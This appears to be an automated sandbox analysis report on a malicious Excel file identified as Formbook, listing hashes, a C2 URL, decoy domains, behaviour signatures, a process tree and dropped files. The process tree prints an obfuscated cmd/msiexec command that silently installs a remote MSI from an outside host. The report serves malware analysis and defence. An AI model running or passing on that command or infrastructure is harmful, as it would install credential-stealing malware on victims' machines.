Analysis

  • max time kernel
    148s
  • max time network
    135s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    07-05-2021 13:24

General

  • Target

    20VOR005760.xls

  • Size

    37KB

  • MD5

    abc73f6301b9f828dce46943b7111f29

  • SHA1

    fadb21a70ab5923cbe8e8deeb36af5e07efd0e87

  • SHA256

    ac0ccf59d64faf079e0d4e93ec994865214aefd0899f644da81f8e748e4ee153

  • SHA512

    00f1499e6db64cf9bc94bba3a90382f5b045a3e291e65ef8db68a916cf586353d48ac7509c30c14c0da1b1557ac96ba60cf2a5214321395892473634dc56b813

Malware Config

Extracted

Family

formbook

Version

4.1

C2

http://www.craftsman-vail.com/cca/

Decoy

whenpigsflyhigh.com

artistiklounge.com

tinytrendstique.com

projektpartner-ag.com

charvelevh.com

easycompliances.net

zengheqiye.com

professionalmallorca.com

bonzerstudio.com

nelivo.com

yangxeric.com

aredntech.com

twincitieshousingmarket.com

allshadesunscreen.com

xiang-life.net

qmcp00011.com

lindsayeandmarkv.com

fbcsbvsbvsjbvjs.com

saveonthrivelife.com

newdpo.com

Signatures

  • Formbook

    Formbook is a data stealing malware which is capable of stealing data.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Formbook Payload 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • NSIS installer 6 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 58 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of UnmapMainImage
    • Suspicious use of WriteProcessMemory
    PID:2756
    • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
      "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\20VOR005760.xls"
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3952
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C m^SiE^x^e^c /i http://farm-finn.com/admin/tfv88791.msi /qn
        3⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1856
        • C:\Windows\system32\msiexec.exe
          mSiExec /i http://farm-finn.com/admin/tfv88791.msi /qn
          4⤵
          • Use of msiexec (install) with remote resource
          • Suspicious use of AdjustPrivilegeToken
          PID:2136
    • C:\Windows\SysWOW64\wscript.exe
      "C:\Windows\SysWOW64\wscript.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2128
      • C:\Windows\SysWOW64\cmd.exe
        /c del "C:\Windows\Installer\MSI5608.tmp"
        3⤵
          PID:2160
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Blocklisted process makes network request
      • Enumerates connected drives
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2532
      • C:\Windows\Installer\MSI5608.tmp
        "C:\Windows\Installer\MSI5608.tmp"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:3148
        • C:\Windows\Installer\MSI5608.tmp
          "C:\Windows\Installer\MSI5608.tmp"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          PID:1240

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

      MD5

      4fcb2a3ee025e4a10d21e1b154873fe2

      SHA1

      57658e2fa594b7d0b99d02e041d0f3418e58856b

      SHA256

      90bf6baa6f968a285f88620fbf91e1f5aa3e66e2bad50fd16f37913280ad8228

      SHA512

      4e85d48db8c0ee5c4dd4149ab01d33e4224456c3f3e3b0101544a5ca87a0d74b3ccd8c0509650008e2abed65efd1e140b1e65ae5215ab32de6f6a49c9d3ec3ff

    • C:\Windows\Installer\MSI5608.tmp

      MD5

      caccaec6ca54e341eb266b3b98978178

      SHA1

      e02d383072613e1e65a8991adc941b65a82f8be7

      SHA256

      20b92c186a1abf1b15f080ae6c7ec6e995c712158df4869827ecc8e1df9e9479

      SHA512

      838e18e94b8b6523feb2263475a238fceae6cb8703b69eb05a1ee3a8052389daf91b898fef692e51173c7fee7840b046663a808d556a75d6b62c431cb835cf0e

    • C:\Windows\Installer\MSI5608.tmp

      MD5

      caccaec6ca54e341eb266b3b98978178

      SHA1

      e02d383072613e1e65a8991adc941b65a82f8be7

      SHA256

      20b92c186a1abf1b15f080ae6c7ec6e995c712158df4869827ecc8e1df9e9479

      SHA512

      838e18e94b8b6523feb2263475a238fceae6cb8703b69eb05a1ee3a8052389daf91b898fef692e51173c7fee7840b046663a808d556a75d6b62c431cb835cf0e

    • C:\Windows\Installer\MSI5608.tmp

      MD5

      caccaec6ca54e341eb266b3b98978178

      SHA1

      e02d383072613e1e65a8991adc941b65a82f8be7

      SHA256

      20b92c186a1abf1b15f080ae6c7ec6e995c712158df4869827ecc8e1df9e9479

      SHA512

      838e18e94b8b6523feb2263475a238fceae6cb8703b69eb05a1ee3a8052389daf91b898fef692e51173c7fee7840b046663a808d556a75d6b62c431cb835cf0e

    • \Users\Admin\AppData\Local\Temp\nsw5819.tmp\0djwv1e4o91gu5.dll

      MD5

      b8efcf07411a1081f73080bd83f3bf1e

      SHA1

      b534be3372f363f2ae50be8fa8fd94fec8c0dae2

      SHA256

      7faeba7a3e10c3eccd92d119327a0d7e8b0aa99c7ca956326bff1c83ce011440

      SHA512

      3ba6a145c27d62f4d8cfea644945a86d1321e61e0677bae217cc5003f4fad486e56481354f8fd7c46aceea69c6f1824b8efbe17461e319a48940d8b63a53f79c

    • memory/1240-190-0x0000000000AE0000-0x0000000000AF4000-memory.dmp

      Filesize

      80KB

    • memory/1240-189-0x0000000000B10000-0x0000000000E30000-memory.dmp

      Filesize

      3.1MB

    • memory/1240-186-0x000000000041EB70-mapping.dmp

    • memory/1240-188-0x0000000000400000-0x000000000042E000-memory.dmp

      Filesize

      184KB

    • memory/1856-179-0x0000000000000000-mapping.dmp

    • memory/2128-192-0x0000000000000000-mapping.dmp

    • memory/2128-193-0x0000000000B30000-0x0000000000B57000-memory.dmp

      Filesize

      156KB

    • memory/2128-194-0x0000000000900000-0x000000000092E000-memory.dmp

      Filesize

      184KB

    • memory/2128-196-0x0000000004A60000-0x0000000004D80000-memory.dmp

      Filesize

      3.1MB

    • memory/2128-198-0x0000000004820000-0x00000000048B3000-memory.dmp

      Filesize

      588KB

    • memory/2136-180-0x0000000000000000-mapping.dmp

    • memory/2160-195-0x0000000000000000-mapping.dmp

    • memory/2756-191-0x0000000004C50000-0x0000000004D4F000-memory.dmp

      Filesize

      1020KB

    • memory/2756-199-0x0000000004D50000-0x0000000004E56000-memory.dmp

      Filesize

      1.0MB

    • memory/3148-185-0x00000000028B0000-0x00000000028B2000-memory.dmp

      Filesize

      8KB

    • memory/3148-181-0x0000000000000000-mapping.dmp

    • memory/3952-114-0x00007FF77DB50000-0x00007FF781106000-memory.dmp

      Filesize

      53.7MB

    • memory/3952-123-0x00007FFA27080000-0x00007FFA28F75000-memory.dmp

      Filesize

      31.0MB

    • memory/3952-122-0x00007FFA28F80000-0x00007FFA2A06E000-memory.dmp

      Filesize

      16.9MB

    • memory/3952-121-0x00007FFA08250000-0x00007FFA08260000-memory.dmp

      Filesize

      64KB

    • memory/3952-118-0x00007FFA08250000-0x00007FFA08260000-memory.dmp

      Filesize

      64KB

    • memory/3952-117-0x00007FFA08250000-0x00007FFA08260000-memory.dmp

      Filesize

      64KB

    • memory/3952-116-0x00007FFA08250000-0x00007FFA08260000-memory.dmp

      Filesize

      64KB

    • memory/3952-115-0x00007FFA08250000-0x00007FFA08260000-memory.dmp

      Filesize

      64KB